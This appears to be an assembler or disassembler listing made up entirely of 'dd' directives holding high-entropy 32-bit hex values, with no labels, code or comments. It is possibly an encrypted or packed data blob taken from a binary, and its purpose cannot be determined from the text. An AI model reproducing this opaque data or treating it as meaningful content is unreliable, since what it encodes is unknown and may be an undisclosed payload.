dd 0EC844CB1h, 0DA012D94h, 36421D06h, 3F5B0F48h, 60B528C7h
dd 0E6857D48h, 0C5578607h, 2F814640h, 6EE0A0B2h, 0FF96034Eh
dd 11DAF491h, 0D6173FB8h, 28BC40Dh, 200A18FDh, 0E7AF4310h
dd 75FEE4A0h, 17988FC5h, 7C95E981h, 0F4900091h, 0B48020BDh
dd 7500A19Bh, 9469E0DFh, 3B5E5BBh, 90F0D7FEh, 1BE0FB98h
dd 511FBA0Ah, 0AD0F8D31h, 6BCC01D4h, 205989D8h, 234171FCh
dd 0D8E2CE2Dh, 0B9081C6Ah, 54174B57h, 0C0AA8021h, 0C59A20Fh
dd 94C8D547h, 4950558h, 0FC301352h, 43C87CD7h, 1FA081ACh
dd 405E2F12h, 8020BC2Bh, 1A8193DBh, 0CE47132Dh, 0C179C4C8h
dd 0FD65EDC0h, 80857F1Fh, 210F9723h, 40AF25FAh, 0B4F810h
dd 8DAFC8C0h, 0F770B83Ch, 0BDB08F7Ah, 54CC7100h, 0B0ADF0E1h
dd 9AF024h, 0D2FC28B3h, 8558F19Eh, 0FAE6E705h, 0A10AEEDEh
dd 87DA20AFh, 208AE0D4h, 93FACD40h, 10112B35h, 6E46C240h
dd 640C114h, 5E22FB05h, 20522940h, 0C09AF460h, 0C8AE474Dh
dd 0FE25587Eh, 6A9B500Ah, 8AF16016h, 0F875010Bh, 0B3C8166Dh
dd 784E880Ah, 0D12BEF7Ch, 5AC4202Bh, 0FE15DF3Ch, 0E1601CA7h
dd 804EA906h, 0B1050879h, 76F9AD6Ch, 6A04A04Fh, 2A0D0489h
dd 67208229h, 3C83F70h, 5E6E4454h, 0B7841900h, 0E6DCE0E8h
dd 0D8703DB8h, 451D6381h
dd 818C4D37h, 0D19FA338h, 5184846Ch, 4ECFB6AEh, 1D4B217Bh
dd 28E05ECCh, 0AEBE1FD9h, 0B9B70080h, 6B63BC17h, 7127E704h
dd 85212BF9h, 7EA0858Ch, 202750F7h, 653CAC44h, 1841CB40h
dd 186401AEh, 16180921h, 0AF58E41Fh, 31796F65h, 15312E8Eh
dd 9471F6h, 9A446721h, 39593Ah, 0AD5C9BCFh, 9692D030h
dd 71E85D0Eh, 0FA38B829h, 0AD90C049h, 8D5A2019h, 5F88BC07h
dd 0FB20F979h, 0D91C08h, 26C2A482h, 0C545B55Ch, 8A9C7700h
dd 1DAD86A7h, 6587423h, 9D66D980h, 4418508Dh, 3B784512h
dd 7D23751Ah, 17DB00BBh, 9284972Dh, 0E45290E6h, 335B01C8h
dd 0BD192BD9h, 132006F3h, 688B3D10h, 3528E400h, 0E29D4801h
dd 0FF8400DCh, 9946D0E3h, 4B1D1B6Fh, 3A8F5BB6h, 28F1209Fh
dd 18D8ADAFh, 80539246h, 0F0A4D63Ch, 0B8045900h, 92E69929h
dd 0D2A0002Eh, 1D0DE343h, 0EE00CE26h, 23E28107h, 0ADB878h
dd 0AEBE7DFh, 8AA5C88Ch, 0BABF5E01h, 27873A8Eh, 4E41A450h
dd 0C066500Dh, 9295E237h, 9E9D0A04h, 905FA4h, 2029FC0Bh
dd 6C007B8Dh, 0AC2BDFB7h, 3E37C03Fh, 0A19BBA5Eh, 3102F0A0h
dd 6939B3D9h, 15888F41h, 0C59903D4h, 38A7D438h, 82A89E28h
dd 688002B4h, 0C201A809h, 45B05C43h, 20634387h, 0EBD12988h
dd 70A00644h, 51242B58h, 6520B515h, 0D59218E8h, 91FFE68h
dd 5D2F02A9h, 0B9E98800h, 0A1F875E2h, 0A81B9429h, 38550074h
dd 92827F0Dh, 6330101Dh, 0EFDF80ACh, 18796F24h, 0BE862A02h
dd 0C65EFC80h, 8B484D9Eh, 0C0DF30ACh, 0D7BC80h, 6C3431C7h
dd 0B19C01D2h, 21A45B02h, 4018D1C1h, 52A1659Ch, 1100AC05h
dd 7CCC07BDh, 0DA5599A8h, 0E21BCCA0h, 4858A90Fh, 61CE8C9Eh
dd 0F08CA442h, 0DBE0A02Ah, 0A0A974F7h, 60F1B3CCh, 4E262847h
dd 50A09C7Ah, 0C401049Fh, 0ED52F321h, 0A4D0EE95h, 3B10A1F7h
dd 0D9CB7883h, 409D2A5Bh, 753C4BC8h, 6B7CD5CCh, 0D4553829h
dd 0DF820C29h, 0A9271BD2h, 1470h, 0F9B9D73Ch, 1D242606h
dd 0A788E601h, 0DE8ACD52h, 8097E7F0h, 3300A182h, 2DA0A453h
dd 7A8508Bh, 80B8B776h, 0C87B10CCh, 0B30E126h, 0CB5130F9h
dd 7E73142Ah, 176C81Dh, 53D38DC4h, 82471144h, 0D0873580h
dd 217040B1h, 911570A9h, 70C70B24h, 621C0C80h, 397758FAh
dd 0A6AD48C3h, 1091D401h, 0B850B6D6h, 1BAC670h, 45E76ECEh
dd 22C7A5B3h, 350E00B4h, 9525C6C0h, 0C149AAAh, 710D4BC1h
dd 0D34C02F1h, 24BD2650h, 6F966C80h, 4EDC680h, 385FDC85h
dd 6A48D059h, 0EC045E55h, 0BE8523Fh, 43ABC4D2h, 0BC41ED4Ch
dd 820E74F7h, 0B91830B1h, 0FA2608AEh, 0CBD8985h, 1846505Eh
dd 1AC4061h, 9003220Fh, 63AD8099h, 4808C086h, 8D021210h
dd 0E4FF7AA7h, 0F6708C81h, 406AF15Bh, 0D12A4D80h, 7D44F920h
dd 713926DCh, 51AD01A0h, 0F57FC924h, 0CAAC41A7h, 50C41D9h
dd 19381187h, 0B1B3B850h, 0A94982Dh, 741F86EBh, 999D04CCh
dd 5E889032h, 6C65C7E8h, 0A406B818h, 7C1B367h, 0CB54D23Ah
dd 28BD9590h, 21339E24h, 0E9B3182Bh, 0C8619BC3h, 6323A800h
dd 0F3C88ACh, 869D0620h, 0F467C30h, 73D17B8Eh, 0A1CF74E0h
dd 0B300F090h, 854B03F3h, 3FEE23Ah, 72E73775h, 7EF08233h
dd 6F0105C5h, 0A06BA34Ch, 89E029EAh, 14FE0018h, 0D18522BBh
dd 0FC0F0649h, 322D83h, 0BCF4D22Bh, 5724004Ah, 0EC5D0455h
dd 3D78A1DBh, 3F0088F2h, 4586F9BDh, 7F15FCh, 0B022C6C8h
dd 0F4FBCEDFh, 8BBE1900h, 69710577h, 0DA723FDDh, 3D1F00F8h
dd 472E12C4h, 0E003434Bh, 6FB1C22Ah, 689DC06Eh, 0D62F0019h
dd 761B7BBAh, 9A1E10F3h, 1D04D3A3h, 55C0D5FAh, 220DBF8h
dd 375EF1DCh, 3C82B172h, 9230A469h, 11B542DCh, 0F98250C2h
dd 2B106F75h, 0F2108CC0h, 7F9CD411h, 2E0CBBC4h, 0F0DD98E8h
dd 0E18A0A1h, 0E8228805h, 21EA0830h, 14E3BE14h, 30795325h
dd 4271A685h, 0B1B59018h, 0EDFC5320h, 0D5AE0E6Ch, 0F2C1A87Bh
dd 4CB6C43Ah, 0AB218560h, 0B21F0859h, 6728D2C7h, 0C29C8A91h
dd 518B00Bh, 0AA688CA5h, 8E459CDEh, 0C16DD870h, 0F7538456h
dd 634A103Ch, 0D3E149C8h, 0C301B439h, 0F0ADF495h, 887C7700h
dd 977E74C2h, 0D5060AA8h, 0E4F4C0CDh, 0BEAD3171h, 70218A18h
dd 58B214F0h, 317611C5h, 18BCCFF4h, 14064326h, 843C9771h
dd 893103CBh, 0C1D010A5h, 71283395h, 310832C1h, 45B0DEAFh
dd 0A54302Dh, 4284AE85h, 147502C6h, 83DFD57Ah, 1006ACE8h
dd 0C586D231h, 6C212B0Ah, 0C44DC3FDh, 0DA1879F5h, 0A5217343h
dd 6241602Bh, 1841D5A9h, 151FD199h, 1530522Ah, 859C91D1h
dd 8432EA13h, 938238A9h, 6C025386h, 0D899C914h, 626CDFCAh
dd 811966FAh, 540FD85Ch, 46793CDFh, 62217BA4h, 0C2F211ADh
dd 106E6CCDh, 218CB20Fh, 0DC8D7782h, 3C0768D6h, 11B1D052h
dd 43061C95h, 2C561130h, 7A2FE203h, 41C529FEh, 95C20FFCh
dd 3018D31Ch, 0DB61337Ch, 0D5228666h, 30FF64A2h, 0A4C950Bh
dd 4D86E44h, 8B16FF4h, 67E68814h, 30D23D62h, 30A80AFFh
dd 60A4A36Dh, 0D8A6BE7Ch, 31100647h, 7E8BC47Dh, 0C730E61h
dd 15D2466Dh, 113C080Bh, 0DA89BFBDh, 9BAD4490h, 93605F00h
dd 2E7DA9A8h, 277B0195h, 92F4F999h, 98A0B8ACh, 97206822h
dd 53DD24F3h, 59033EDFh, 28AFBFDEh, 0E0EDC03Ch, 89D505B0h
dd 7DAC2446h, 4F510CC0h, 7853AFD8h, 119C0F24h, 0F25A0423h
dd 0C868CE32h, 0A4336005h, 0E23C4845h, 0D50C8272h, 5D588490h
dd 7C155642h, 0F9D07463h, 0F3184594h, 0E428A01Eh, 50634D25h
dd 9D741862h, 27244E00h, 0A00F008Fh, 98A4E597h, 0D52CBB95h
dd 86868815h, 596BC1h, 0A2965F38h, 0F92CE1A1h, 894BA52h
dd 588BA345h, 1E62CE48h, 0BA62E0h, 0C16F0B2Dh, 7480BE60h
dd 31F3469Fh, 5A10A1DEh, 2D84500Eh, 0B7EEF19Bh, 8CE4FE50h
dd 91509374h, 390F2CB0h, 58F34410h, 3AF4A998h, 2B004623h
dd 3E2CA12Dh, 88C1E89Dh, 6E097C3Ch, 6C05C020h, 0BA18F9FEh
dd 0FC425F29h, 2C72988h, 8D109569h, 42229F01h, 29816035h
dd 0EB80897h, 0DCD425CFh, 7800965Ah, 8B154B48h, 54422888h
dd 47987Ah, 0DE455C4Dh, 0FB053196h, 0E1CAD0B8h, 0F7016892h
dd 0B441930Eh, 0D3875184h, 0C22C4553h, 5EF76005h, 0EC343C03h
dd 81ACE2F5h, 61C527BCh, 61A426E0h, 294B1186h, 0FC90508Fh
dd 0B900AE10h, 5293B5D4h, 2EDD56D9h, 0F939D2Ah, 9E063Dh
dd 0BBDAC9B6h, 5903CC2Ch, 0E22FE909h, 3B110045h, 73355C70h
dd 0B0076EFh, 53A5AC93h, 432CF0h, 233CFD2Eh, 110FDFB5h
dd 73079CB0h, 351E0245h, 34DB42F0h, 93A103E0h, 0E8448994h
dd 2970C0A8h, 57615214h, 7E8C0848h, 80258022h, 435D7150h
dd 48F2F603h, 14D81ADEh, 0C58B168h, 345FFE0Eh, 0FB862A03h
dd 370976C0h, 5AA15818h, 556F5B20h, 0C5E118B2h, 716E0h
dd 0A090939Dh, 8C73C3E8h, 0B4B14806h, 18E09810h, 0C023A237h
dd 65188D6Fh, 0DEF159E3h, 0A81F60B6h, 0FE817151h, 32F2F500h
dd 0BF6F8E17h, 7A14A058h, 89B0C539h, 0C8141876h, 0DF80E486h
dd 6F2F16C6h, 1AB601F0h, 0D4763DFDh, 0C05298Eh, 0E6F40B3Fh
dd 252A9C01h, 9086220Eh, 19140A80h, 0F0D02950h, 0F734CE06h
dd 7810198Dh, 6CF40367h, 9BBF0983h, 574E805h, 0C802318Ah
dd 0E5480Bh, 20D1AD72h, 0DE8158DDh, 0FD1913A8h, 7D2DA440h
dd 0D5A8C0E6h, 573A948Fh
dd 0C62E3401h, 9C5A180Ah, 58DB5885h, 7448033Bh, 5114D235h
dd 83A8DAE4h, 0C1E84FFCh, 9080A6B0h, 1FFD0DEh, 0C0C3CB8Fh
dd 0E06A8BE9h, 6AE4198h, 9E252C1Dh, 0E40C70BAh, 4813C4B2h
dd 74CC0272h, 6E4C32E9h, 4005B48Fh, 0AC2C00DBh, 768D577Ah
dd 20541433h, 0ADE4D191h, 14BB1F3Bh, 357CB8F8h, 241BFEFh
dd 422FB578h, 0F15224A0h, 2A0ADE4Fh, 488A19D1h, 1CC2DC40h
dd 580A01Dh, 878C007Bh, 1BF87F6Ah, 67001964h, 8B7CED82h
dd 0F980080Ah, 18E390DCh, 282BB61Eh, 0F33F07D4h, 7E30951Dh
dd 9AF90008h, 0CD14B462h, 9C5300D7h, 724B635Ah, 0D0748004h
dd 0EB510565h, 0CDB827C0h, 0EEE5187Fh, 4A9859B2h, 0F5DFE000h
dd 845DF6E1h, 71670C6Dh, 0FF698040h, 2D6F1E03h, 1D50EBEh
dd 16220510h, 80730401h, 0ED62C868h, 30FB6711h, 0FF387DA6h
dd 411E8D35h, 0B0FF5C66h, 0EB867162h, 1558E41Dh, 34720DDEh
dd 26615100h, 0C253B9FCh, 93FE9107h, 70B04F6Eh, 0E2E21005h
dd 5E8600CFh, 857BB5F6h, 0A4A8E69Eh, 94002CD4h, 0FD05C1F5h
dd 0A0B3BDCCh, 0AFDF88h, 4788EA8h, 83C20DDAh, 0DB5A1F00h
dd 0FF6C2ACDh, 4728C0CCh, 7170F94Ah, 1EE20C1Bh, 3FB100D9h
dd 0C6E863F6h, 0CD00DAFBh, 5FDE25Ch, 6514802Bh, 203480CEh
dd 4C9B8220h, 0EA6069F0h, 0F53078E8h, 56410F07h, 0D0B5D85Bh
dd 5054FE00h, 16409E5Ch, 7460BDF8h, 0E1C88118h, 96530637h
dd 7950A933h, 79C6018h, 5384921h, 827B9D4Fh, 9D805F8h
dd 6CD0030Dh, 5BC0739Eh, 578C20Bh, 69104565h, 471EB45Eh
dd 0F5A9DE06h, 282A7811h, 6218334Ah, 0F2592032h, 4A72F120h
dd 0C3B0ABA3h, 0EB501998h, 949211F6h, 6309130h, 1B4A71D1h
dd 0C75D3021h, 7D273AF1h, 9A608CE2h, 4556F8C8h, 0C8342860h
dd 5B7C38A8h, 31CA6398h, 0B07BF33h, 4F783A5Dh, 7AF28730h
dd 77C50C6Ch, 97614551h, 7D5FA500h, 1D8AEF79h, 36D6002Eh
dd 200DFF0Eh, 17B0AE3h, 7CF6CD09h, 0F894209Fh, 498B7A2Ah
dd 0CA05B812h, 0E64550h, 0CC9522B4h, 7E034BD2h, 0C03783C1h
dd 8950E0DCh, 98EA00D8h, 0B31AC25Eh, 68F6C50Bh, 2EDE512h
dd 614E1841h, 58200D04h, 0EC38507Ch, 1E7940B7h, 7A1FEF01h
dd 0DBA87840h, 6BA0CE4h, 0EC87F5A6h, 990018B6h, 0A432D62h
dd 0CC4F6E2h, 0EF7DFF11h, 4406FB1h, 0B4A749C3h, 20614C12h
dd 9427FD34h, 66FC620Ch, 48CE410Fh, 0B322C03Fh, 14E32C24h
dd 8E41FD80h, 15BA24CBh, 24F94F59h, 7EC79600h, 0F84A2638h
dd 78787530h, 723F1FDFh, 60D1F06Dh, 0FDF74947h, 0F1124D15h
dd 800377F4h, 90469725h, 12D03BECh, 53E789E6h, 791909C8h
dd 0C5F142Fh, 8719178Bh, 0EF25A20h, 465BF25h, 606C1E83h
dd 0A314B97Ch, 78648E4Ch, 8FC0835h, 0EA971400h, 778350Fh
dd 6498A46Bh, 837A54D1h, 590F3E8Ch, 0D761F6Ch, 0E16FB922h
dd 4372E19Ah, 30117E10h, 0A433F76Bh, 3100D520h, 963BA25h
dd 4D787Eh, 0F252FFBBh, 0C306D8B5h, 82006090h, 604186CEh
dd 24E3E26Eh, 8074E480h, 797E0895h, 7A14D9E5h, 60C3B8Ch
dd 0D5968188h, 0C4090938h, 6C012E8Fh, 892B35B5h, 4483918h
dd 5D4904B8h, 6E78BC90h, 0E60C2EF0h, 202D7BEDh, 29DF632Fh
dd 0A2B028D6h, 0AD15B892h, 45C904Ch, 0A9631642h, 7324B491h
dd 0DE5CBC20h, 0B5BD0F59h, 1008810Ah, 0B8EC2AF7h, 10C64FF0h
dd 40217888h, 9C403AFCh, 8470995h, 0AC05BA0Ah, 0C53C92C4h
dd 0EBFA20C8h, 72AAF261h, 7C60EAE5h, 2B02094Dh, 0A007B2F6h
dd 60006918h, 7EB31F82h, 4F078C90h, 0CD2D7F5Eh, 0B89C9683h
dd 4954E5A7h, 787F08C0h, 0E8F01489h, 6900802Ch, 0D0F5798Ah
dd 0D80BC425h, 206750EEh, 532CE0ACh, 94D11DFCh, 0E1CC095Bh
dd 0FA224420h, 0EF282B25h, 0D805E0C6h, 0C9F62AD9h, 20816449h
dd 77ABF740h, 72CF18DAh, 0A079C8EBh, 7D6DECA8h, 174DC172h
dd 2D540030h, 84CCEE2Ah, 840B515Fh, 0A7C9E1F0h, 0EB870278h
dd 24620A2Ch, 40F4F04Bh, 0DE77AAE7h, 7408A028h, 9ABEF071h
dd 685D2AE0h, 0EF1D07CCh, 85282F9Eh, 4E944E5Eh, 19C0FBAFh
dd 0B5F1F0FFh, 7A04FE59h, 46D3F905h, 4490B160h, 605FB78h
dd 67F38D53h, 9702712Ah, 5D33158Fh, 0F698604Ch, 46F7C6Ch
dd 0EBEE53D8h, 0C4A4D1B2h, 35F2E1FBh, 10D81A38h, 58002D30h
dd 4D7CE610h, 0F230C2CEh, 0C4DCA8EAh, 0A7E22419h, 1DF60784h
dd 0DA2000E9h, 0A028114Ch, 0AC909002h, 14CBA32Ch, 0DC200516h
dd 646011Ah, 65C16308h, 0C4001087h, 3D4B459Dh, 1D54C8Ch
dd 5F66BDFDh, 0F09E7E47h, 62001531h, 55FBC140h, 7232ABD7h
dd 16400A1h, 56683373h, 0EF009D70h, 524DC044h, 0D69EC6h
dd 6BBF32AAh, 89A1B293h, 27495500h, 7FEE8E9h, 7E2C1E72h
dd 0C97A9D33h, 0C8804D1Eh, 0FF524EBFh, 0F1271607h, 11CCBE15h
dd 0C9EE11D1h, 18ED4CC7h, 1148CF5Fh, 46F803CBh, 97F9492Fh
dd 2DA09BE8h, 0BFFFEE00h, 8DC444ACh, 20546614h, 360C4043h
dd 0D881C745h, 77D9283Bh, 0A9E18080h, 9748A885h, 0E2C68047h
dd 7190CC30h, 0CE5F4B1Bh, 0B500BF50h, 0E8D43D0Dh, 0E1A74F07h
dd 3801DDCh, 59F6E3h, 1C3E68AAh, 72DBB9D5h, 0C4454B14h
dd 26704058h, 19F12A03h, 0B064CF10h, 0C017D8C1h, 78E94DC0h
dd 9060D4FDh, 72E8D211h, 804A1C63h, 0C040F79Fh, 9DC64560h
dd 6A42D0Fh, 0C0982A1Eh, 0E8EF9503h, 1E00039h, 0EE3CADBh
dd 80F77202h, 0C17C1151h, 0A7F1823h, 7EEEC477h, 0C6033A4Ch
dd 4F0CE82Ah, 0D53F1000h, 0CED0D93Eh, 0F80154CCh, 68D4F1A6h
dd 96AD269Fh, 592D0514h, 0D7A400E9h, 97146320h, 0C9C3C0F9h
dd 21CD448h, 0C176A14Bh, 0F748FD7h, 0E6F3022Ch, 0E0948EDCh
dd 0AF60CEC6h, 48A70181h, 0DD65E722h, 3C47D032h, 726620E3h
dd 0C2E6A606h, 1949F1C9h, 0B117E76Ah, 0FE49E44Eh, 691E517Ch
dd 7580A4D5h, 6D2CC528h, 0E71B07DDh, 303FAD32h, 9C7ED8E8h
dd 0A6C64F00h, 9BCDA8A3h, 58ED6184h, 0E19A50A1h, 0D308427Ch
dd 0B4021B39h, 1AA5325h, 0FA685C8Eh, 699440C1h, 3C067BB6h
dd 0EC612531h, 95DCE328h, 0A13D03BBh, 0AC9C0DEh, 0D7CBC906h
dd 3F51A4A0h, 9C8C1A88h, 2610F704h, 3B4D19C2h, 18C4A331h
dd 0A0F91EA8h, 89293248h, 24DE7920h, 2C091E1h, 0CABE876Fh
dd 83DB9C90h, 9A571B00h, 0A8655148h, 0B0285068h, 0DEDCA341h
dd 2F9029h, 2A3E3775h, 0B3EEBDD5h, 58949849h, 3106269h
dd 0F1212344h, 18115BDAh, 4E2220BEh, 40CB0140h, 9114594Dh
dd 10E8933Ch, 0A60FFEB0h, 80DBE7Ch, 91A1E181h, 0E400B520h
dd 0ED4CE19Ch, 49C0C5C4h, 9313B245h, 8DA3286Fh, 887255CCh
dd 98483AF5h, 5422E7C8h, 1900E138h, 0AAEF9A0Ah, 0A87B66CEh
dd 4A8A8E00h, 0A0E5E938h, 74690076h, 685EF455h, 1400E30Dh
dd 89CDC6Eh, 3E03F662h, 630AB992h, 410C6F5Dh, 0CCFDB79Bh
dd 4107512Ah, 1B2F78B9h, 0B66133C7h, 0EDE855B1h, 3872E88Ah
dd 0AF801ADCh, 23BE7113h, 0B1009B56h, 0BB91C1Eh, 0E8A25535h
dd 0BC3F0026h, 61437DE6h, 2F002369h, 0DC9C40D7h, 0C1C716Fh
dd 3796F32Ah, 0F898BE70h, 4A53B800h, 1C8B6EA7h, 40CD013Fh
dd 43F7EC23h, 0C0788E64h, 69770021h, 0EFDA84h, 6FDD1C41h
dd 14BBE1BEh, 932A40C1h, 589C19D6h, 9D9F7DD8h, 8A840F9Bh
dd 0C7450567h, 78BFF083h, 9C01391Ch, 510C7EF1h, 0DAE469FCh
dd 80AB6023h, 2F4DFB6Fh
dd 8D81F707h, 25F134D9h, 5884712Ah, 24EA13Ah, 0F02F3F2h
dd 0A426883h, 7D9E1800h, 7ED5AC88h, 0BF961D87h, 881155BDh
dd 64FDB905h, 0C0A81F7Ch, 83901A7Fh, 0A300F510h, 7157095Bh
dd 79AEC99Fh, 284C7333h, 3B84056h, 187E8B2Ah, 4808CADAh
dd 3370E25h, 0D9658EBCh, 0D8C11879h, 4E6620F2h, 52DDE9F0h
dd 74088489h, 0C3A44D0h, 30A04CD8h, 31EC17B3h, 0D303BF90h
dd 1066F956h, 8422D6F9h, 0DF200A18h, 0D68944FAh, 0BC2F1D0Fh
dd 0FC27A444h, 405AC144h, 154B2C2Dh, 2DC78512h, 270DB100h
dd 0E46090F6h, 554D02A0h, 40EB169Bh, 71924040h, 97361F01h
dd 235A869Ch, 0B18CE440h, 53013051h, 0B8B33AB8h, 0BE3E8A72h
dd 0E66683FFh, 733FA4E9h, 0F7330520h, 38874576h, 0C5467420h
dd 0EDC8E00h, 1EA18740h, 27F05718h, 250B938h, 0A4F52A7Ah
dd 76E06607h, 7B002D89h, 0E5FABF1Ah, 6FDA7Fh, 65A0FD6Bh
dd 69EC33C9h, 6C41EA04h, 44907990h, 4927810Bh, 3216ACB6h
dd 0FC8100E9h, 9342995Ah, 6C609400h, 7188731Dh, 280C6758h
dd 46DF706Fh, 370351DCh, 0A54E82FAh, 7B08F89Eh, 135822DEh
dd 8990D100h, 0C806ACD2h, 128A3A53h, 70B38E80h, 0A8DCD0Fh
dd 0A027DD01h, 67BCDA24h, 3729980h, 0AD66018Ch, 26A84860h
dd 0ECCAA68h, 0B347F41Bh, 395BF5E0h, 2F00453Eh, 5D704628h
dd 601EE1h, 2D337559h, 0DEBE31D3h, 8230F601h, 51AC101Dh
dd 0ADAEC0h, 7516795Fh, 3E04FF7Eh, 5807467Bh, 73607BA4h
dd 0FA9947A0h, 781C00D0h, 3AE55A0Eh, 58166EDBh, 2E015CBAh
dd 0D8AC1814h, 5BE473EDh, 0E48F0733h, 402EC198h, 9317072h
dd 99F46C00h, 7B35CECh, 0F6983A87h, 89302580h, 8AA9C208h
dd 7B6EAA00h, 0FA2F9D7h, 0FA7602h, 4ED493EFh, 33BA53A4h
dd 41B438h, 58432ABCh, 0BD567Ch, 1FE2BFAh, 0E3993926h
dd 0A1FBDF00h, 0F231BC6Ch, 0A6030048h, 4DB9119Fh, 790084F3h
dd 0DF7D06C7h, 0B85A744Ah, 3E30050h, 936F0C98h, 0EA0FE5AAh
dd 0C0C2132Dh, 47FE81AEh, 0D6E00003h, 0DCDAAB9Ch, 8B3B0F65h
dd 25C238C5h, 0DFD46Fh, 7BE34596h, 0A80010C3h, 73A772BAh
dd 2D41E6h, 2BD30DD9h, 9ACF8BCBh, 18CAEE03h, 6D8117h, 0CC0804F2h
dd 37D0AEC2h, 6EB31200h, 890CC644h, 0E17F0011h, 8D7B3D06h
dd 3F00F7A2h, 53A5E657h, 157C3Ch, 739EA948h, 0EEB85EDEh
dd 0F8847D00h, 3686B3AAh, 0B95C00EBh, 0DC60ED1Dh, 410096E1h
dd 7993A744h, 3865BF1h, 0E0E8D406h, 30E877DAh, 0D01FAFFCh
dd 0BB5CD5A0h, 0D0A71B0Ch, 1F150107h, 32587462h, 0C9E0CEEBh
dd 290CF0F2h, 583EA620h, 22E900E4h, 253C896Ch, 0CB0708F1h
dd 0A58072AAh, 5799C527h, 0E5736080h, 17006DD0h, 0D58B6FDBh
dd 0B263B7h, 9447DAC6h, 57043EC9h, 18EBB300h, 9297FF1Ah
dd 6875C1h, 0E8E34B30h, 86430BBCh, 8820E41Dh, 85B7F80h
dd 0ECB9974h, 0C96A0E33h, 415F7660h, 1000F89Bh, 6C8198FEh
dd 78553Eh, 2A7B2E8Dh, 0DB67DE90h, 99A4FC00h, 9F6BE372h
dd 0C0011E8Bh, 0E1D00F5Ch, 2BAAD4C0h, 11095F28h, 80102732h
dd 85BD3931h, 0D0315073h, 6B1B04D2h, 88BA190Dh, 0B3126224h
dd 3C40C3DAh, 0F852985Dh, 0E3210041h, 0E5CE8A3h, 1E002997h
dd 7971C816h, 997B65h, 6FB6C12h, 0EAE70D54h, 15646101h
dd 35C527A9h, 1D8DEC40h, 17E814h, 5A4F3C06h, 0FE6E5B21h
dd 95BF5F03h, 0C888A0F5h, 80206Bh, 94FE586h, 37F65CBBh
dd 0BC3DB100h, 0C02D0D10h, 0EDDA01C4h, 0D1CC239Ch, 7EF8DB1Fh
dd 0FDF25260h, 626C2890h, 52E78F8h, 6581A119h, 31A4403Bh
dd 0D6887476h, 34F36A00h, 5DABC9A5h, 0AE700399h, 50B2D40Ah
dd 0C21A1698h, 7B8FCA00h, 0FCA05D90h, 2983002Ch, 0B4728252h
dd 4626566Eh, 0C70E5D22h, 7D5DEBAEh, 703EF87h, 481F5081h
dd 0B20040A5h, 16720E3Eh, 6EB135h, 0C343A215h, 3D80CB32h
dd 9B8AD0Fh, 903E01D9h, 43D2FB28h, 959AC1C4h, 0A2E0EFEFh
dd 3E66DB4h, 6C011DC3h, 0EEB0681Ch, 42605E3Bh, 31DDC0F1h
dd 0C6620112h, 598DB7A8h, 0B1ACC065h, 0E3001EEAh, 0B53F105h
dd 0CC5FFDh, 8C78FF5h, 268D8658h, 0F1243600h, 0B2987A11h
dd 37B0006Eh, 7C34BB51h, 0E701EAA1h, 994E1A2Ah, 30E8CC98h
dd 0B310008Dh, 3DEB2B4Ah, 31002CD3h, 0B1422F5Eh, 4F04A8FCh
dd 0CDDCA021h, 1EACFA2Ch, 0B05C5E0Ch, 0E09D5A58h, 4D00C1B4h
dd 772A40ECh, 174497h, 0AB72B953h, 0D1AD8618h, 0FC6449h
dd 0B7B68052h, 92F75F3h, 29A1D569h, 0E942E820h, 506A3D2h
dd 1C77C5C2h, 0C1880019h, 5FE2D828h, 48C0836Dh, 1CF1D7B8h
dd 3F5092E1h, 0BB036040h, 62AEAC4Eh, 21AF000h, 0CE8F73E4h
dd 38CB00DBh, 0FC4BEAE9h, 4300054Dh, 499A5D45h, 29F4A6h
dd 0FA966EAEh, 0C9857E1Ah, 5B1DD600h, 0B0379EF6h, 8FE00E3h
dd 9F793CA4h, 1E007136h, 9D9A7BAAh, 1D01E81Bh, 80138F06h
dd 0DF9BC6CAh, 90E8BEF0h, 8027B43Ah, 6A33184Ah, 7DC4D4h
dd 16C98380h, 0B850E0F7h, 0D1C7680Dh, 8661B095h, 109C8C8h
dd 546C8EC1h, 0EC77C49Ch, 401CA2EEh, 2740EBADh, 0D5DE8DE6h
dd 0E0E500FCh, 6BF0BCA0h, 9600927Ch, 0FB7EF9DBh, 0ADAFFEFh
dd 1EB82E0Bh, 73004990h, 3339A293h, 47958700h, 0B109170Eh
dd 0A4C0726h, 12DFA6h, 25996B96h, 340CEC00h, 14F7D88Dh
dd 64EE0724h, 0B3DE048Ah, 0ACC07D6Ch, 1B003559h, 7218D77Fh
dd 0B7FD3Dh, 3E9EED8Fh, 0CCEAAD95h, 0FAE91601h, 0F30CF662h
dd 3AE3AC4h, 35277CD1h, 0EF80FEF2h, 0E8127E48h, 8800576Fh
dd 643C96D6h, 4A9F005Bh, 0CE05F203h, 67006308h, 0ECE7EB4Eh
dd 5D1DCFh, 47F07314h, 0C90698AFh, 99173402h, 64E18E3Dh
dd 5FD40434h, 846DD3E9h, 923090A7h, 6892E42Ch, 42A39E00h
dd 442B9981h, 0EAE81FADh, 43980F5Dh, 38E7160Ah, 41E0F280h
dd 0F1CC4845h, 71F751Eh, 81F4D400h, 5D51CDh, 2F49559Eh
dd 5E9C856Dh, 0AD2510C7h, 50584CCFh, 16430093h, 81637B03h
dd 4F482204h, 4A0D0064h, 105077B9h, 78DB004Bh, 0F1A051B4h
dd 0EC609622h, 90C073A8h, 1DE0F406h, 1CE9DB40h, 6EF8C565h
dd 0E46C00B4h, 120AFFD8h, 6C08B600h, 5F17AD61h, 0B5F0F5h
dd 0EBC9BD14h, 0F4D34038h, 0F35E630Ah, 8B0EBBA5h, 82A8C01Eh
dd 4BA783h, 72B8C708h, 9FB1EACFh, 3C9DDB00h, 2C031C89h
dd 5F7A0053h, 6CD34A2Dh, 0D1F7B9Ah, 1604E52Eh, 0A9C317D1h
dd 74DEC041h, 97E407B3h, 4024C1FDh, 55ED086Dh, 851A0E00h
dd 623D2FB0h, 0A530176h, 491C3A3Bh, 93527063h, 1F4A95Dh
dd 0CE367C01h, 37105E6Dh, 0CF00476Ah, 443B88A1h, 0DE337Dh
dd 59902EAAh, 9DC50C34h, 0B7872300h, 24F813D3h, 587B004Ah
dd 0F5065553h, 160E4809h, 208285A7h, 0FF5E3DC7h, 2D2A0001h
dd 0E7DFE2CDh, 95008107h, 361CCFAEh, 5FEA7118h, 0B600020h
dd 0D6A14086h, 0F6B4340Bh, 0EAD0206Dh, 774CE43h, 575F6451h
dd 0A62350E3h, 0E04CF918h, 417300F6h, 0ACA8017Eh, 0F51001D6h
dd 0EABB49C7h, 0C87C313Fh, 24008CC8h, 0AD16C286h, 1FE8947h
dd 0D2A8DFB4h, 7532B207h, 23F0E8F4h, 0B8745Dh, 0A53F18E1h
